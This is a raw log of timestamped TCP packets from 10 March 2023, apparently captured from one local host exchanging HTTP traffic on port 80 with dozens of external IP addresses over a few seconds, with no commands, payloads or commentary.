Mar 10, 2023 07:54:43.668488026 CET	49855	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:43.678503036 CET	49856	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:43.730370045 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.730415106 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.730446100 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.730463028 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.730475903 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.730505943 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.730528116 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.730528116 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.730536938 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.730571032 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.730582952 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.814627886 CET	80	49855	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:43.814995050 CET	80	49855	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:43.815123081 CET	49855	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:43.845607996 CET	80	49856	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:43.846657038 CET	80	49856	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:43.846801043 CET	49856	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:43.847507000 CET	80	49856	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:43.847589016 CET	49856	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:43.854037046 CET	80	49793	93.187.206.66	192.168.2.6
Mar 10, 2023 07:54:43.854161978 CET	49793	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:54:43.856774092 CET	49841	80	192.168.2.6	64.125.133.18
Mar 10, 2023 07:54:44.380749941 CET	49856	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:44.547827959 CET	80	49856	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:44.856518984 CET	49795	80	192.168.2.6	137.118.26.67
Mar 10, 2023 07:54:44.862838030 CET	80	49828	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:44.862988949 CET	49828	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:44.945240974 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:44.945463896 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:45.027940035 CET	80	49785	185.53.177.50	192.168.2.6
Mar 10, 2023 07:54:45.028168917 CET	49785	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:54:45.044090033 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:45.235583067 CET	80	49786	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:45.235769033 CET	49786	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:45.271543980 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:45.271719933 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:45.925842047 CET	80	49840	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:45.925972939 CET	49840	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:46.018377066 CET	80	49838	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:46.018516064 CET	49838	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:46.407804012 CET	49855	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:46.408833027 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:46.409904003 CET	49857	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:46.470067978 CET	80	49834	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:46.470172882 CET	49834	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:46.513914108 CET	80	49857	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:46.514054060 CET	49857	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:46.553850889 CET	80	49855	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:46.554291010 CET	80	49855	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:46.554377079 CET	49855	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:46.613071918 CET	49857	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:46.614217997 CET	49859	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:46.614412069 CET	49858	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:46.632255077 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:46.632388115 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:46.641926050 CET	80	49859	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:46.642083883 CET	49859	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:46.645473003 CET	80	49858	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:46.645561934 CET	49858	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:46.650091887 CET	49859	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:46.652579069 CET	49858	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:46.679565907 CET	80	49859	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:46.679891109 CET	49859	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:46.683043003 CET	80	49858	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:46.684591055 CET	80	49858	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:46.684654951 CET	49858	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:46.685761929 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.716980934 CET	80	49857	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:46.717061043 CET	80	49857	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:46.717149019 CET	49857	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:46.724529028 CET	49857	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:46.757694006 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.757724047 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.757744074 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.757765055 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.757791042 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:46.757857084 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:46.828587055 CET	80	49857	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:46.911475897 CET	49859	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:46.920495987 CET	49860	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:46.928666115 CET	49861	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:46.940596104 CET	80	49859	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:46.940684080 CET	49859	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:46.964687109 CET	80	49846	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:46.964752913 CET	49846	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:46.984777927 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.984812975 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.984834909 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.984855890 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.984878063 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.984898090 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.984918118 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.984942913 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:46.984977961 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:46.984977961 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:46.985054970 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.054354906 CET	80	49860	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:47.054462910 CET	49860	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.097079039 CET	80	49861	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:47.097255945 CET	49861	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:47.113043070 CET	49860	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.137394905 CET	49861	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:47.142488956 CET	49862	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:47.199299097 CET	80	49847	72.44.93.236	192.168.2.6
Mar 10, 2023 07:54:47.199429035 CET	49847	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:54:47.212054968 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212084055 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212105036 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212125063 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212146044 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212166071 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212187052 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212207079 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212222099 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.212227106 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212248087 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212268114 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212268114 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.212289095 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.212300062 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.212326050 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.234847069 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.236171961 CET	49864	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:47.246849060 CET	80	49860	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:47.247940063 CET	80	49860	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:47.248033047 CET	49860	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.248766899 CET	80	49860	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:47.248888969 CET	49860	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.251528025 CET	80	49862	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:47.251617908 CET	49862	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:47.252198935 CET	49862	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:47.253041029 CET	80	49864	23.227.38.74	192.168.2.6
Mar 10, 2023 07:54:47.253158092 CET	49864	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:47.253978968 CET	49864	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:47.254864931 CET	80	49863	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:47.254961014 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.255671024 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.267364025 CET	49860	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.270795107 CET	80	49864	23.227.38.74	192.168.2.6
Mar 10, 2023 07:54:47.274909019 CET	80	49863	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:47.275474072 CET	80	49863	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:47.275552034 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.290704966 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.291518927 CET	49865	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.299853086 CET	49866	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:47.311367989 CET	80	49863	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:47.311469078 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.313185930 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.333050013 CET	80	49863	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:47.333245993 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.343359947 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.350167036 CET	80	49861	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:47.362014055 CET	80	49862	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:47.363317966 CET	80	49863	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:47.363415956 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.374150991 CET	80	49862	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:47.374310970 CET	49862	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:47.374494076 CET	80	49862	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:47.374553919 CET	49862	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:47.397169113 CET	80	49865	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:47.397291899 CET	49865	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.401029110 CET	80	49860	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:47.407716990 CET	80	49864	23.227.38.74	192.168.2.6
Mar 10, 2023 07:54:47.407812119 CET	49864	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:47.431303978 CET	80	49861	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:47.431339025 CET	80	49861	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:47.431381941 CET	49861	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:47.431430101 CET	49861	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:47.439204931 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439234018 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439255953 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439280033 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439301968 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439321995 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439343929 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439366102 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439385891 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439407110 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439409971 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.439429045 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439450979 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439460039 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.439472914 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439492941 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439502954 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.439516068 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439524889 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.439538002 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439558029 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439558983 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.439579964 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439590931 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.439610004 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439629078 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.439630032 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439652920 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439661026 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.439675093 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439694881 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439697981 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.439714909 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.439728022 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.439764023 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.444308043 CET	80	49866	54.209.32.212	192.168.2.6
Mar 10, 2023 07:54:47.444410086 CET	49866	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:47.449136019 CET	49861	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:47.493060112 CET	80	49849	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:47.493165970 CET	49849	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:47.529932976 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.551841021 CET	80	49863	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:47.551934958 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:47.583949089 CET	49865	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.594084024 CET	49866	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:47.617455959 CET	80	49861	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:47.666898012 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.666950941 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.666985989 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667021990 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667057037 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667088032 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667123079 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667155981 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667190075 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667224884 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667258024 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667292118 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667325974 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667359114 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667391062 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667426109 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667463064 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667484999 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667522907 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667525053 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667547941 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667560101 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667582035 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667594910 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667630911 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667634964 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667666912 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667666912 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667694092 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667702913 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667732000 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667737961 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667759895 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667772055 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667793989 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667808056 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667814016 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.667840958 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.667912006 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.691901922 CET	80	49865	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:47.692796946 CET	80	49865	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:47.692871094 CET	49865	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.693476915 CET	80	49865	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:47.693543911 CET	49865	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.699095964 CET	49865	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:47.740042925 CET	80	49866	54.209.32.212	192.168.2.6
Mar 10, 2023 07:54:47.740091085 CET	80	49866	54.209.32.212	192.168.2.6
Mar 10, 2023 07:54:47.740140915 CET	49866	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:47.740184069 CET	49866	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:47.779757977 CET	80	49854	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:47.779881954 CET	49854	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:47.783579111 CET	49866	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:47.804779053 CET	80	49865	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:47.871471882 CET	49867	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:47.896574020 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:47.896792889 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:47.927395105 CET	80	49866	54.209.32.212	192.168.2.6
Mar 10, 2023 07:54:48.016124010 CET	80	49867	54.209.32.212	192.168.2.6
Mar 10, 2023 07:54:48.016273022 CET	49867	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:48.080074072 CET	49867	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:48.083292007 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:48.113461018 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:48.113570929 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:48.146987915 CET	49869	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:48.146987915 CET	49870	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:48.163678885 CET	80	49869	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:48.164194107 CET	49869	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:48.164268017 CET	49869	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:48.180816889 CET	80	49869	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:48.192339897 CET	80	49869	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:48.192430973 CET	49869	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:48.204313993 CET	49871	80	192.168.2.6	172.67.72.98
Mar 10, 2023 07:54:48.214545965 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:48.214705944 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:48.221379995 CET	80	49871	172.67.72.98	192.168.2.6
Mar 10, 2023 07:54:48.223951101 CET	80	49867	54.209.32.212	192.168.2.6
Mar 10, 2023 07:54:48.223989010 CET	80	49867	54.209.32.212	192.168.2.6
Mar 10, 2023 07:54:48.224205017 CET	49871	80	192.168.2.6	172.67.72.98
Mar 10, 2023 07:54:48.224209070 CET	49867	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:48.261552095 CET	49871	80	192.168.2.6	172.67.72.98
Mar 10, 2023 07:54:48.269514084 CET	49867	80	192.168.2.6	54.209.32.212
Mar 10, 2023 07:54:48.269606113 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:48.278192997 CET	80	49871	172.67.72.98	192.168.2.6
Mar 10, 2023 07:54:48.288654089 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:48.288769960 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:48.327244043 CET	80	49870	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:48.327908039 CET	49870	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:48.400401115 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:48.400438070 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:48.413300037 CET	80	49867	54.209.32.212	192.168.2.6
Mar 10, 2023 07:54:48.579886913 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:48.607108116 CET	49869	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:48.617204905 CET	49870	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:48.628751040 CET	80	49869	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:48.631558895 CET	49869	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:48.710736990 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:48.797573090 CET	80	49870	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:48.797967911 CET	80	49870	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:48.799256086 CET	80	49775	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:48.799681902 CET	49870	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:48.801306009 CET	49775	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:48.855721951 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:48.855772018 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:48.855796099 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:48.855817080 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:48.855839014 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:48.855992079 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:48.856040001 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:48.856908083 CET	49831	80	192.168.2.6	193.166.255.171
Mar 10, 2023 07:54:48.945009947 CET	49870	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:48.981985092 CET	80	49871	172.67.72.98	192.168.2.6
Mar 10, 2023 07:54:48.982021093 CET	80	49871	172.67.72.98	192.168.2.6
Mar 10, 2023 07:54:48.982180119 CET	49871	80	192.168.2.6	172.67.72.98
Mar 10, 2023 07:54:48.982180119 CET	49871	80	192.168.2.6	172.67.72.98
Mar 10, 2023 07:54:49.016427994 CET	49872	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:49.019536972 CET	49873	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:49.021790028 CET	49871	80	192.168.2.6	172.67.72.98
Mar 10, 2023 07:54:49.036046982 CET	80	49872	143.204.9.43	192.168.2.6
Mar 10, 2023 07:54:49.038414001 CET	80	49871	172.67.72.98	192.168.2.6
Mar 10, 2023 07:54:49.038619041 CET	49872	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:49.045938969 CET	49872	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:49.065587044 CET	80	49872	143.204.9.43	192.168.2.6
Mar 10, 2023 07:54:49.065740108 CET	80	49872	143.204.9.43	192.168.2.6
Mar 10, 2023 07:54:49.065927029 CET	49872	80	192.168.2.6	143.204.9.43
